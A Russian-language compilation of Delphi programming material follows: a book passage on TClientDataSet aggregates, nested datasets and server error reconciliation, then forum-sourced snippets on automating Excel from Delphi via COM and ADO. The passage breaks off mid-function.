компонента TClientDataSet. Прямым предком класса TAggregates является класс TCollection, поэтому для него можно использовать все основные приемы работы с коллекциями.

Для создания нового агрегата необходимо щелкнуть на кнопке свойства в Инспекторе объектов и, в появившемся Редакторе агрегатов, выбрать пункт Add во всплывающем меню или щелкнуть на кнопке Add New.

Новый агрегат может быть добавлен и динамически:

var NewAgg: TAggregate;

NewAgg := ClientDataSet.Aggregates.Add;

Рассмотрим свойства класса TAggregate.

Имя агрегата содержится в свойстве

property AggregateName: string;

которое может быть использовано при отображении агрегата в визуальных компонентах.

Вычисляемое выражение с применением агрегатных функций должно находиться в свойстве

property Expression: String;

Например, для таблицы COUNTRY.DB из демонстрационной базы данных Delphi можно вычислять общую площадь государств Северной и Южной Америки (площадь государства содержится в поле Area):

ClientDataSet.Aggregates[Somelndex].Expression := 'SUM(Area)';

Вычислением агрегата управляет свойство

property Active: Boolean;

а вычисленное значение возвращает функция

function Value: Variant;

Если пользователь редактирует набор данных, то для всех включенных агрегатов (Active = True) возвращаемое значение автоматически пересчитывается.

Например, после сохранения изменений в наборе данных можно визуализировать новое значение агрегата:

SomeLabel.Caption := ClientDataSet.Aggregates[0].AggregateName;
SomeEdit.Text := ClientDataSet.Aggregates[0].Value;

Для проверки активности агрегата, помимо проверки значения свойства Active, можно также использовать свойство

property InUse: Boolean;

Если оно возвращает значение True — вычисляемое выражение агрегата рассчитывается.

Видимость агрегата в визуальных компонентах управляется свойством

property Visible: Boolean;

Для того чтобы снизить вычислительную нагрузку на набор данных, можно отключить все агрегаты одновременно. Для этого свойству

property AggregatesActive: Boolean;

необходимо присвоить значение False.

Если же AggregatesActive = True, вычисляются только активные агрегаты, для которых свойство Active имеет значение True.

Если вам необходимо использовать все активные агрегаты, то вместо их последовательного перебора с проверкой свойства Active можно использовать свойство

property ActiveAggs[Index: Integer] : TList;

компонента TClientDataSet, которое представляет собой список активных агрегатов.

Агрегатные поля

Агрегатные поля не входят в структуру полей набора данных, т. к. агрегатные функции подразумевают объединение записей таблицы для получения результата. Следовательно, значение агрегатного поля нельзя связать с какой-то одной записью, оно относится ко всем или группе записей.

Агрегатные поля не отображаются вместе со всеми полями в компонентах TDBGrid, в Редакторе полей они расположены в отдельном списке. Для представления значения агрегатного поля можно воспользоваться одним из компонентов отображения данных, который визуализирует значение одного поля (например, TDBText или TDBEdit) или свойствами самого поля:

LabelI.Caption := MyDataSetAGGRFIELDl.AsString;

Подробно вопросы создания агрегатных полей рассмотрены в гл. 13.

Класс TAggregateField предназначен для инкапсуляции свойств и методов агрегатных полей.

Его свойство

property Expression: string;

задает вычисляемое выражение.

Вычисление значения проводится только для тех агрегатных полей, свойство

property Active: Boolean;

которых имеет значение True.

Вычисление включенных свойством Active агрегатных полей выполняется только в том случае, если булевское свойство AggregatesActive клиентского компонента набора данных имеет значение True.

По умолчанию экземпляр класса TAggregateField создается со свойством Visible = False

Группировка и использование индексов

Каждый агрегат (объект или поле) имеет свойство

property GroupingLevel: Integer;

которое задает уровень группировки полей набора данных при вычислении. При значении 0 расчет проводится для всех записей набора данных. При значении 1 записи группируются по первому полю набора данных и расчет осуществляется для каждой группы. При значении 2 записи разбиваются на группы по первому и второму полям и т. д.

Однако группировка по уровням выше нулевого возможна, только если в наборе данных используется индекс по группирующим полям. Например, если свойство GroupingLevel = 2 и набор данных начинается с полей CustNo и OrderNo, в свойстве IndexName компонента TClientDataSet и свойств property IndexName: String; агрегата (объекта или поля) должно быть имя индекса, включающего оба эти поля.

Вложенные наборы данных

При организации между таблицами отношения "один-ко-многим", когда через одинаковое значение поля внешнего ключа одна запись главной таблицы связывается с несколькими записями подчиненной таблицы. Этот широко распространенный в практике программирования приложений БД механизм реализован и в компоненте TClientDataSet.

Для этого используется класс поля TDataSetField.

На стороне клиента для создания отношения "один-ко-многим" необходимо использовать как минимум два компонента TClientDataSet, главный из которых инкапсулирует основной набор данных, а подчиненный — вложенный набор данных.

Итак, на стороне сервера есть два табличных компонента, связанных отношением "один-ко-многим" при помощи свойств MasterSource и MasterFields (см. гл. 14). Также это могут быть и два компонента запросов SQL, связанные параметрами подчиненного запроса с одноименными полями главного запроса и свойством DataSource.

Теперь на стороне клиента необходимо при помощи компонента-провайдера связать компонент TClientDataSet с главным серверным компонентом отношения "один-ко-многим" и создать для него статические объекты для всех полей. Для этого достаточно дважды щелкнуть на компоненте и в окне Редактора полей (см. рис. 22.3) из всплывающего меню выбрать пункт Add Field. В результате в окне Редактора полей появятся имена объектов для

всех полей серверного набора данных, а также еще одно дополнительное поле объектного типа TDataSetFieid. Его имя совпадает с именем подчиненного серверного компонента отношения "один-ко-многим".

Это поле связано с подчиненным компонентом на сервере. Чтобы убедиться в этом, достаточно просмотреть значение его свойства только для чтения

property NestedDataSet: TDataSet;

Индексированный список всех полей, передаваемых из серверного подчиненного компонента, содержится в свойстве только для чтения

property Fields: TFields;

В дальнейшем связь между компонентами на клиенте настраивается именно через это поле. В подчиненном компоненте TClientDataSet в Инспекторе объектов необходимо выбрать свойство

property DataSetField: TDataSetFieid;

В списке этого свойства вы увидите имя только что созданного поля объектного типа TDataSetField. Выберите его и отношение "один-ко-многим" для клиентских наборов данных готово. При этом в компоненте вложенного набора данных автоматически очищаются свойства RemoteServer и FroviderName, т. к. их значения утрачивают значение и компонент оказывается связан только с главным компонентом отношения "один-ко-многим".

Теперь при навигации по записям основного набора данных во вложенном наборе данных автоматически будут появляться связанные записи. Также вы можете использовать все возможности, предоставляемые компонентом TClientDataSet как для основного, так и для вложенного набора данных.

Дополнительные свойства полей клиентского набора данных

Как известно, все классы полей имеют одного общего предка — класс TField. Остановимся лишь на нескольких дополнительных свойствах полей, которые работают только в режиме кэширования в обычных компонентах, инкапсулирующих набор данных, и в компоненте TClientDataSet. Причем в компоненте TClientDataSet реализация этих свойств обеспечена локальным кэшем.

Итак, для разработчика могут быть полезны свойства объектов полей, содержащие не только текущее, но и предыдущее значение поля.

Свойство

property CurValue: Variant;

возвращает текущее значение поля.

Свойство

property OldValue: Variant;

содержит значение поле, которое было до начала редактирования. Свойство

property NewValue: Variant;

содержит новое значение, которое может быть присвоено при обработке ошибки сервера методом-обработчиком onReconclieError (см. ниже).

Обработка ошибок

Особенности использования компонента TClientDataSet распространяются также и на обработку ошибок. Ведь клиентский набор данных должен реагировать не только на ошибки, возникшие локально, но и на ошибки сохранения изменений на сервере.

В первом случае разработчик может применить стандартные способы. Это использование блоков try..except или методов обработчиков, унаследованных от класса TDataSet:

property OnDeleteError: TDataSetErrorEvent; — вызывается при ошибках удаления записей;
property OnEditError: TDataSetErrorEvent; — вызывается при ошибках редактирования записей;
property OnPostError: TDataSetErrorEvent; — вызывается при ошибках локального сохранения записей.
Все они используют процедурный тип

type
  TDataSetErrorEvent = procedure(DataSet: TDataSet;  E: EDatabaseError; var Action: TDataAction) of object;

Здесь, помимо параметров DataSet и Е, определяющих соответственно набор данных и тип ошибки, параметром Action можно задать вариант реакции на ошибку:

type TDataAction = (daFail, daAbort, daRetry);

daFail — прервать операцию и показать сообщение об ошибке;

daAbort — прервать операцию без сообщения об ошибке;

daRetry — повторить операцию

Например, при возникновении ошибки редактирования набора данных код обработчика может выглядеть следующим образом:

procedure TForml.ClientDataSetEditError(DataSet: TDataSet; E: EDatabaseError; var Action: TDataAction);
begin
  if Not (DataSet.State in [dsEdit, dslnsert]) then
    begin
      DataSet.Edit; Action := daRetry;
    end
  else
    Action := daAbort;
end;

Здесь, если набор данных не находится в состоянии редактирования, это упущение исправляется и операция повторяется.

Итак, с локальными ошибками все обстоит достаточно просто. А как клиентский набор данных "узнает" об ошибке на удаленном сервере? Очевидно, при помощи своего компонента-провайдера. Действительно, компонент TDataSetProvider не только возвращает клиенту несохраненные изменения в пакете Delta (см. выше), но и обеспечивает генерацию события, реакцией на которое является метод-обработчик

type
TReconcileErrorEvent = procedure(DataSet: TCustomClientDataSet; E:EReconcileError; UpdateKind: TUpdateKind; var Action: TReconcileAction) of object;

property OnReconcileError: TReconcileErrorEvent;

Обратите внимание, что все параметры похожи на соответствующие параметры локальных обработчиков, но имеют собственные типы. Рассмотрим их.

Параметр UpdateKind содержит указание на тип операции, вызвавшей ошибку на сервере:

type TUpdateKind = (ukModify, uklnsert, ukDelete);

ukModify — изменение данных;

uklnsert — добавление записей;

ukDelete — удаление записей.

Параметр Action позволяет разработчику предусмотреть реакцию клиентского набора данных на ошибку:

type TReconcileAction = (raSkip, raAbort, raMerge, raCorrect, raCancel, raRefresh);

raSkip — отменить операцию для записей, вызвавших ошибку, с их сохранением в буфере;

raAbort — отменить все изменения для операции, вызвавшей ошибку;

raMerge — совместить измененные записи с аналогичными записями сервера;

racorrect — сохранить изменения, сделанные в данном методе-обработчике;

racancel — отменить изменения, вызвавшие ошибку, заменив их исходными локальными значениями клиентского набора данных;

raRefresh — отменить изменения, вызвавшие ошибку, заменив их исходными значениями серверного набора данных.

Как видите, выбор возможных реакций на ошибку сервера несколько шире, чем на локальные ошибки.

Тип ошибки возвращается параметром Е, для которого предусмотрен специальный класс EReconcileError, имеющий несколько полезных свойств.

Свойство

property ErrorCode: DBResult;

возвращает код ошибки. Используемые коды ошибок можно найти в файле \Source\Vcl\DSIntf.pas. Код предыдущей ошибки возвращается свойством property PreviousError: DBResult;

Используя представленную здесь информацию, вы можете самостоятельно управлять обработкой ошибок сервера на клиенте. Но можно поступить и более просто — использовать стандартный диалог обработки удаленных ошибок (рис. 22.4). Этот диалог можно подключить к вашему проекту (он содержится в модуле \ObjRepos\RecError.pas) и вызвать при помощи процедуры:

function HandleReconcileError(DataSet: TDataSet; UpdateKind: TUpdateKind; ReconcileError: EReconcileError): TReconcileAction;

В параметры этой функции подставляются параметры метода-обработчика OnReconciieError, а возвращает данная функция действие, выбранное пользователем в диалоге (см. рис. 22.4). Таким образом, ее использование очень просто:

procedure TForml.ClientDataSetReconcileError(DataSet: TCustomClientDataSet;
E: EReconcileError; UpdateKind: TUpdateKind; var Action: TReconcileAction);
begin
  Action := HandleReconcileError(DataSet, UpdateKind, E) ;
end;


Работа с приложениями MS Office

Cодержание раздела:

Работа с Excel из Дельфи
· Через СОМ интерфейс
· Через DAO/ODBC/ADO
· Обмен данными с Excel
· Дополнительная литература
· Как импортировать данные из Excel в Stringgrid?
· Как распечатать Excel файл?
· Как определить установлен ли Excel?
· Как определить запущен ли Excel?
· Создание или открытие книги
· Работа с листами книги
· Как вставить конец страницы?
· Как вставить картинку
· Как узнать существует ли страница (worksheet)?
· Как создать DLL для MS Excel?
· Как скопировать страницу?
· Как поменять border страницы?
· Как осуществить поиск ячейки по её значению?
· Создаём Excel файл без OLE

Работа с MS Word
· Работа с MS Word из Delphi
· Работа с Word через OLE
· Как прочитать/изменить свойства Word документа?
· Как экспортировать StringGrid в MS Word таблицу?
· Как экспортировать таблицу в MS Word в TStringGrid?
· Как заполнить поля формы в MS Word?
· Как заменить текст в документе MS Word?
· Как вставить свой пункт меню?
· Как поменять ссылку в тексте?
· Как проверить инсталлирован ли MS Word?
· Как сохранить текст MS Word в другом формате?
· Как заменить значение переменных для текста MS Word?
· Как узнать версию MS Word?
· Как добавить текст к закладке?
· Как создать таблицу в MS Word?
· Как работать с Shapes
· Как добавить текст в header документа?
· Как добавить текст в footer документа?
· Как работать с объектом Excel вставленном в Word документ?
· Как сделать поиск/замену в документе?
· Как работать с WordBasic?
· Пример запуска макроса в MS WinWord

Работа с Outlook
· Как написать Outlook AddIn?
· Как получить список папок Outlook?
· Как прочитать адресную книгу Outlook (MSOffice) из Delphi и занести данные в таблицу *.db?

Как работать с Powerpoint через OLE?
Проверка правописания и синонимов при помощи компонентов MS Office
Как использовать проверку грамматики?
Создание модулей расширения Microsoft Office New!
Доступ к COM серверам Microsoft Office из Delphi 5 (Статья) New!
Antivirus API New!

См. также другие разделы:
Работа с MS Access


Работа с Excel из Дельфи

Чтобы работать с Excel из Delphi cуществует два основных пути. Первый - это создание его как COM объект. Таким же образом можно работать и с Word, Access, Outlook(не Express) и многими другими программами.
Второй способ (для таблицы Excel) это подключение черезADO, DAO(Data Active Objects) или ODBC.
Есть замечательный цикл книг по этой теме.

Vit
Взято с Vingrad.ru http://forum.vingrad.ru

Cодержание раздела:

Через СОМ интерфейс
Через DAO/ODBC/ADO
Обмен данными с Excel
Дополнительная литература
Как импортировать данные из Excel в Stringgrid?
Как экспортировать данные из StringGrid в Excel? New!
Как распечатать Excel файл?
Как определить установлен ли Excel?
Как определить запущен ли Excel?
Создание или открытие книги
Работа с листами книги
Как вставить конец страницы?
Как вставить картинку
Как узнать существует ли страница (worksheet)?
Как создать DLL для MS Excel?
Как скопировать страницу?
Как поменять border страницы?
Как осуществить поиск ячейки по её значению?
Создаём Excel файл без OLE
Страницы Excel — компонент F1Book New!
Как снять пароль с Excel файла? New!
Примеры работы с MS Excel New!
Как зыкрыть Excel New!

См. также статьи в других разделах:
Экспорт из TDBGrid в Excel без OLE
Как экспортировать содержимое DBGrid в Excel или ClipBoard?
Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?
Как работать с объектом Excel вставленном в Word документ?
Сохранить F1Book в Blob поле New!


Через СОМ интерфейс

var Excel, WorkBook, Sheet: Variant;
begin
Excel := CreateOleObject('Excel.Application');
Excel.WorkBooks.Open(FileName,False);
WorkBook := Excel.WorkBooks.Item[1];
Sheet := Workbook.Sheets.Item[3];
Sheet.Cells[1,2]:='ASDFG';
Sheet.Cells[2,2]:=230;

Все объекты и методы Офиса можно посмотреть в help'е Офиса.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

Ниже представлен пример создания новой таблице в Excel 2000:

uses
  ComObj, ActiveX;

var
  Row, Col: integer;
  DestRange: OleVariant;
  Excel: Variant;

begin
  Excel := CreateOleObject('Excel.Application.9');
  Excel.Visible := True;
  Excel.WorkBooks.Add; //Создать новую таблицу

  //Можно помещать текст и значения в диапазон ячеек
  //Поместить     слово тест в диапазон ячеек
  Excel.ActiveSheet.Range['A2', 'B3'].Value := 'Тест';
  //Или число
  Excel.ActiveSheet.Range['A4', 'B5'].Value := 42;

  //А вот так задаётся формула
  Excel.ActiveSheet.Range['A10', 'A11'].Formula := '=RAND()';

  //Можно задавать номера ячеек и столбцов
  Excel.ActiveSheet.Cells.Item[1, 1].Value := 'Первая ячейка';

  Row:=1;
  Col:=3;
  Excel.ActiveSheet.Cells.Item[Row, Col].Value := 'Другая ячейка';

  //Можно скопировать данный из одного диапазона ячеек в другой
  DestRange := Excel.Range['D6', 'F10'];
  Excel.Range['A1', 'C5'].Copy(DestRange);

  //Можно задавать параметры шрифта в определённой ячейке
  Excel.Range['A2', 'A2'].Font.Size := 20;
  Excel.Range['A2', 'A2'].Font.FontStyle := 'Bold';
  Excel.Range['A2', 'A2'].Font.Color := clFuchsia;
  Excel.Range['A2', 'A2'].Font.Name := 'Arial';

  //Можно ещё и так изменить цвет диапазона ячеек
  Excel.Range['B2', 'C6'].Interior.Color := RGB(223, 123, 123);

end;

Далее представлен пример открытия и закрытия таблицы:

uses
  ComObj, ActiveX;

var
  Excel: Variant;
  WBk : OleVariant;
  SaveChanges: OleVariant;

begin
  Excel := CreateOleObject('Excel.Application.9');
  Excel.Visible := True;

  //Открыть существующую таблицу
  WBk := Excel.WorkBooks.Open('C:\Test.xls');

  ...

  WBk.Close(SaveChanges := True);
  Excel.Quit;

end;

Взято из http://forum.sources.ru


Через DAO/ODBC/ADO

Чтобы использовать только стандартные компоненты давайте попробуем работать с Excel через ADO. Это не самый быстрый и далеко не первый по возможностям метод (DAO работает на порядок быстрее и предоставляет куда больше возможностей), но ADO компоненты входят в стандартную поставку 5 и 6 Дельфи. Итак заходим в Панель управления Windows, идем в свойства ODBC, делаем DSN используя Excel драйвер, не забываем указать в свойствах на файл Excel. Закрываем ODBC, открываем Дельфи. Ставим на форму ADOConnection. Идем в ConnectionString - строим строку подключения - надо выбрать только ODBC провайдер и на следующей вкладке указать сделанный DSN, остальные опции в большинстве случаев можно оставить как есть. Строка получена. Кстати ее можно вообще упростить до вида: "DSN=MyDsn". Теперь вам доступны листы файла как таблицы а весь файл как база данных. Подключаем ADOQuery к ADOConnection. Cоздаем таблицу, т.е. новый лист - путем запуска следующей квери:

Create Table MyTable1 (
Field1 varchar(20),
Field2 varchar(10) )

Снова переходим в дизайн - ставим на форму ADOTable, указываем как Connection наш компонент с ADOConnection, теперь если кликнуть на свойстве TableName - вы сможете увидеть в списке сделанную нами таблицу "MyTable1". Соедините таблицу с DBGrid - убедитесь что работа с таблицей в Excel мало отличается от работы с другими базами данных.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Обмен данными с Excel

Автор: Fernando Silva

В Delphi 5, для обмена данными между Вашим приложением и Excel можно использовать компонент TExcelApplication, доступный на Servers Page в Component Palette.

На форме находится TStringGrid, заполненный некоторыми данными и две кнопки, с названиями To Excel и From Excel. Так же на форме находится компонент TExcelApplication со свойством Name, содержащим XLApp и свойством ConnectKind, содержащим ckNewInstance.

Когда нам необходимо работать с Excel, то обычно мы открываем ExcelApplication, затем открываем WorkBook и в конце используем WorkSheet.

Итак, несомненный интерес представляет для нас листы (WorkSheets) в книге (WorkBook). Давайте посмотрим как всё это работает.

Посылка данных в Excel

Это можно сделать с помощью следующей процедуры :

procedure TForm1.BitBtnToExcelOnClick(Sender: TObject);
var
  WorkBk: _WorkBook; //  определяем WorkBook
  WorkSheet: _WorkSheet; //  определяем WorkSheet
  I, J, K, R, C: Integer;
  IIndex: OleVariant;
  TabGrid: Variant;
begin
  if GenericStringGrid.Cells[0, 1] <> '' then
    begin
      IIndex := 1;
      R := GenericStringGrid.RowCount;
      C := GenericStringGrid.ColCount;
   // Создаём массив-матрицу
      TabGrid := VarArrayCreate([0, (R - 1), 0, (C - 1)], VarOleStr);
      I := 0;
   //  Определяем цикл для заполнения массива-матрицы
      repeat
        for J := 0 to (C - 1) do
          TabGrid[I, J] := GenericStringGrid.Cells[J, I];
        Inc(I, 1);
      until
        I > (R - 1);

   // Соединяемся с сервером TExcelApplication
      XLApp.Connect;
    // Добавляем WorkBooks в ExcelApplication
      XLApp.WorkBooks.Add(xlWBatWorkSheet, 0);
   // Выбираем первую WorkBook
      WorkBk := XLApp.WorkBooks.Item[IIndex];
   // Определяем первый WorkSheet
      WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
   // Сопоставляем Delphi массив-матрицу с матрицей в WorkSheet
      Worksheet.Range['A1', Worksheet.Cells.Item[R, C]].Value := TabGrid;
   // Заполняем свойства WorkSheet
      WorkSheet.Name := 'Customers';
      Worksheet.Columns.Font.Bold := True;
      Worksheet.Columns.HorizontalAlignment := xlRight;
      WorkSheet.Columns.ColumnWidth := 14;
   // Заполняем всю первую колонку
      WorkSheet.Range['A' + IntToStr(1), 'A' + IntToStr(R)].Font.Color := clBlue;
      WorkSheet.Range['A' + IntToStr(1), 'A' + IntToStr(R)].HorizontalAlignment := xlHAlignLeft;
      WorkSheet.Range['A' + IntToStr(1), 'A' + IntToStr(R)].ColumnWidth := 31;
   // Показываем Excel
      XLApp.Visible[0] := True;
   // Разрываем связь с сервером
      XLApp.Disconnect;
   // Unassign the Delphi Variant Matrix
      TabGrid := Unassigned;
    end;
end;

Получение данных из Excel

Это можно сделать с помощью следующей процедуры :

procedure TForm1.BitBtnFromExcelOnClick(Sender: TObject);
var
  WorkBk: _WorkBook;
  WorkSheet: _WorkSheet;
  K, R, X, Y: Integer;
  IIndex: OleVariant;
  RangeMatrix: Variant;
  NomFich: WideString;
begin
  NomFich := 'C:\MyDirectory\NameOfFile.xls';
  IIndex := 1;
  XLApp.Connect;
// Открываем файл Excel
  XLApp.WorkBooks.Open(NomFich, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
    EmptyParam, EmptyParam, 0);
  WorkBk := XLApp.WorkBooks.Item[IIndex];
  WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
// Чтобы знать размер листа (WorkSheet), т.е. количество строк и количество
// столбцов, мы активируем его последнюю непустую ячейку
  WorkSheet.Cells.SpecialCells(xlCellTypeLastCell, EmptyParam).Activate;
// Получаем значение последней строки
  X := XLApp.ActiveCell.Row;
// Получаем значение последней колонки
  Y := XLApp.ActiveCell.Column;
// Определяем количество колонок в TStringGrid
  GenericStringGrid.ColCount := Y;
// Сопоставляем матрицу WorkSheet с нашей Delphi матрицей
  RangeMatrix := XLApp.Range['A1', XLApp.Cells.Item[X, Y]].Value;
// Выходим из Excel и отсоединяемся от сервера
  XLApp.Quit;
  XLApp.Disconnect;
//  Определяем цикл для заполнения TStringGrid
  K := 1;
  repeat
    for R := 1 to Y do
      GenericStringGrid.Cells[(R - 1), (K - 1)] := RangeMatrix[K, R];
    Inc(K, 1);
    GenericStringGrid.RowCount := K + 1;
  until
    K > X;
// Unassign the Delphi Variant Matrix
  RangeMatrix := Unassigned;
end;
Взято из http://forum.sources.ru


Дополнительная литература

Word2000 для разработчика (я сам разбирался по ней, хорошая книжка)
Excel2000 для разработчика (тоже)
В книгах подробно описано как и макросы запускать как управлять объектами Office много примеров (правда на VB for App, но все легко переносится)

Автор ответа: PILOTIK
Взято с Vingrad.ru http://forum.vingrad.ru


Как импортировать данные из Excel в Stringgrid?

uses
  ComObj;

function Xls_To_StringGrid(AGrid: TStringGrid; AXLSFile: string): Boolean;
const
  xlCellTypeLastCell = $0000000B;
var
  XLApp, Sheet: OLEVariant;
  RangeMatrix: Variant;
  x, y, k, r: Integer;
begin
  Result := False;
  // Create Excel-OLE Object
  XLApp := CreateOleObject('Excel.Application');
  try
    // Hide Excel
    XLApp.Visible := False;

    // Open the Workbook
    XLApp.Workbooks.Open(AXLSFile);

    // Sheet := XLApp.Workbooks[1].WorkSheets[1];
    Sheet := XLApp.Workbooks[ExtractFileName(AXLSFile)].WorkSheets[1];

    // In order to know the dimension of the WorkSheet, i.e the number of rows
    // and the number of columns, we activate the last non-empty cell of it

    Sheet.Cells.SpecialCells(xlCellTypeLastCell, EmptyParam).Activate;
    // Get the value of the last row
    x := XLApp.ActiveCell.Row;
    // Get the value of the last column
    y := XLApp.ActiveCell.Column;

    // Set Stringgrid's row &col dimensions.

    AGrid.RowCount := x;
    AGrid.ColCount := y;

    // Assign the Variant associated with the WorkSheet to the Delphi Variant

    RangeMatrix := XLApp.Range['A1', XLApp.Cells.Item[X, Y]].Value;
    //  Define the loop for filling in the TStringGrid
    k := 1;
    repeat
      for r := 1 to y do
        AGrid.Cells[(r - 1), (k - 1)] := RangeMatrix[K, R];
      Inc(k, 1);
      AGrid.RowCount := k + 1;
    until k > x;
    // Unassign the Delphi Variant Matrix
    RangeMatrix := Unassigned;

  finally
    // Quit Excel
    if not VarIsEmpty(XLApp) then
    begin
      // XLApp.DisplayAlerts := False;
      XLApp.Quit;
      XLAPP := Unassigned;
      Sheet := Unassigned;
      Result := True;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Xls_To_StringGrid(StringGrid1, 'C:\Table1.xls') then
    ShowMessage('Table has been exported!');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как экспортировать данные из StringGrid в Excel?

{1. With OLE Automation }

uses
  ComObj;

function RefToCell(ARow, ACol: Integer): string;
begin
  Result := Chr(Ord('A') + ACol - 1) + IntToStr(ARow);
end;

function SaveAsExcelFile(AGrid: TStringGrid; ASheetName, AFileName: string): Boolean;
const
  xlWBATWorksheet = -4167;
var
  Row, Col: Integer;
  GridPrevFile: string;
  XLApp, Sheet, Data: OLEVariant;
  i, j: Integer;
begin
  // Prepare Data
  Data := VarArrayCreate([1, AGrid.RowCount, 1, AGrid.ColCount], varVariant);
  for i := 0 to AGrid.ColCount - 1 do
    for j := 0 to AGrid.RowCount - 1 do
      Data[j + 1, i + 1] := AGrid.Cells[i, j];
  // Create Excel-OLE Object
  Result := False;
  XLApp := CreateOleObject('Excel.Application');
  try
    // Hide Excel
    XLApp.Visible := False;
    // Add new Workbook
    XLApp.Workbooks.Add(xlWBatWorkSheet);
    Sheet := XLApp.Workbooks[1].WorkSheets[1];
    Sheet.Name := ASheetName;
    // Fill up the sheet
    Sheet.Range[RefToCell(1, 1), RefToCell(AGrid.RowCount,
      AGrid.ColCount)].Value := Data;
    // Save Excel Worksheet
    try
      XLApp.Workbooks[1].SaveAs(AFileName);
      Result := True;
    except
      // Error ?
    end;
  finally
    // Quit Excel
    if not VarIsEmpty(XLApp) then
    begin
      XLApp.DisplayAlerts := False;
      XLApp.Quit;
      XLAPP := Unassigned;
      Sheet := Unassigned;
    end;
  end;
end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if SaveAsExcelFile(stringGrid1, 'My Stringgrid Data', 'c:\MyExcelFile.xls') then
    ShowMessage('StringGrid saved!');
end;

{**************************************************************}
{2. Without OLE }

procedure XlsWriteCellLabel(XlsStream: TStream; const ACol, ARow: Word;
  const AValue: string);
var
  L: Word;
const
  {$J+}
  CXlsLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);
  {$J-}
begin
  L := Length(AValue);
  CXlsLabel[1] := 8 + L;
  CXlsLabel[2] := ARow;
  CXlsLabel[3] := ACol;
  CXlsLabel[5] := L;
  XlsStream.WriteBuffer(CXlsLabel, SizeOf(CXlsLabel));
  XlsStream.WriteBuffer(Pointer(AValue)^, L);
end;

function SaveAsExcelFile(AGrid: TStringGrid; AFileName: string): Boolean;
const
  {$J+} CXlsBof: array[0..5] of Word = ($809, 8, 00, $10, 0, 0); {$J-}
  CXlsEof: array[0..1] of Word = ($0A, 00);
var
  FStream: TFileStream;
  I, J: Integer;
begin
  Result := False;
  FStream := TFileStream.Create(PChar(AFileName), fmCreate or fmOpenWrite);
  try
    CXlsBof[4] := 0;
    FStream.WriteBuffer(CXlsBof, SizeOf(CXlsBof));
    for i := 0 to AGrid.ColCount - 1 do
      for j := 0 to AGrid.RowCount - 1 do
        XlsWriteCellLabel(FStream, I, J, AGrid.cells[i, j]);
    FStream.WriteBuffer(CXlsEof, SizeOf(CXlsEof));
    Result := True;
  finally
    FStream.Free;
  end;
end;

// Example:

procedure TForm1.Button2Click(Sender: TObject);
begin
  if SaveAsExcelFile(StringGrid1, 'c:\MyExcelFile.xls') then
    ShowMessage('StringGrid saved!');
end;

{**************************************************************}
{3. Code by Reinhard Schatzl }

uses
  ComObj;

// Hilfsfunktion fur StringGridToExcelSheet
// Helper function for StringGridToExcelSheet
function RefToCell(RowID, ColID: Integer): string;
var
  ACount, APos: Integer;
begin
  ACount := ColID div 26;
  APos := ColID mod 26;
  if APos = 0 then
  begin
    ACount := ACount - 1;
    APos := 26;
  end;

  if ACount = 0 then
    Result := Chr(Ord('A') + ColID - 1) + IntToStr(RowID);

  if ACount = 1 then
    Result := 'A' + Chr(Ord('A') + APos - 1) + IntToStr(RowID);

  if ACount > 1 then
    Result := Chr(Ord('A') + ACount - 1) + Chr(Ord('A') + APos - 1) + IntToStr(RowID);
end;

// StringGrid Inhalt in Excel exportieren
// Export StringGrid contents to Excel
function StringGridToExcelSheet(Grid: TStringGrid; SheetName, FileName: string;
  ShowExcel: Boolean): Boolean;
const
  xlWBATWorksheet = -4167;
var
  SheetCount, SheetColCount, SheetRowCount, BookCount: Integer;
  XLApp, Sheet, Data: OLEVariant;
  I, J, N, M: Integer;
  SaveFileName: string;
begin
  //notwendige Sheetanzahl feststellen
  SheetCount := (Grid.ColCount div 256) + 1;
  if Grid.ColCount mod 256 = 0 then
    SheetCount := SheetCount - 1;
  //notwendige Bookanzahl feststellen
  BookCount := (Grid.RowCount div 65536) + 1;
  if Grid.RowCount mod 65536 = 0 then
    BookCount := BookCount - 1;

  //Create Excel-OLE Object
  Result := False;
  XLApp  := CreateOleObject('Excel.Application');
  try
    //Excelsheet anzeigen
    if ShowExcel = False then
      XLApp.Visible := False
    else
      XLApp.Visible := True;
    //Workbook hinzufugen
    for M := 1 to BookCount do
    begin
      XLApp.Workbooks.Add(xlWBATWorksheet);
      //Sheets anlegen
      for N := 1 to SheetCount - 1 do
      begin
        XLApp.Worksheets.Add;
      end;
    end;
    //Sheet ColAnzahl feststellen
    if Grid.ColCount <= 256 then
      SheetColCount := Grid.ColCount
    else
      SheetColCount := 256;
    //Sheet RowAnzahl feststellen
    if Grid.RowCount <= 65536 then
      SheetRowCount := Grid.RowCount
    else
      SheetRowCount := 65536;

    //Sheets befullen
    for M := 1 to BookCount do
    begin
      for N := 1 to SheetCount do
      begin
        //Daten aus Grid holen
        Data := VarArrayCreate([1, Grid.RowCount, 1, SheetColCount], varVariant);
        for I := 0 to SheetColCount - 1 do
          for J := 0 to SheetRowCount - 1 do
            if ((I + 256 * (N - 1)) <= Grid.ColCount) and
              ((J + 65536 * (M - 1)) <= Grid.RowCount) then
              Data[J + 1, I + 1] := Grid.Cells[I + 256 * (N - 1), J + 65536 * (M - 1)];
        //-------------------------
        XLApp.Worksheets[N].Select;
        XLApp.Workbooks[M].Worksheets[N].Name := SheetName + IntToStr(N);
        //Zellen als String Formatieren
        XLApp.Workbooks[M].Worksheets[N].Range[RefToCell(1, 1),
          RefToCell(SheetRowCount, SheetColCount)].Select;
        XLApp.Selection.NumberFormat := '@';
        XLApp.Workbooks[M].Worksheets[N].Range['A1'].Select;
        //Daten dem Excelsheet ubergeben
        Sheet := XLApp.Workbooks[M].WorkSheets[N];
        Sheet.Range[RefToCell(1, 1), RefToCell(SheetRowCount, SheetColCount)].Value :=
          Data;
      end;
    end;
    //Save Excel Worksheet
    try
      for M := 1 to BookCount do
      begin
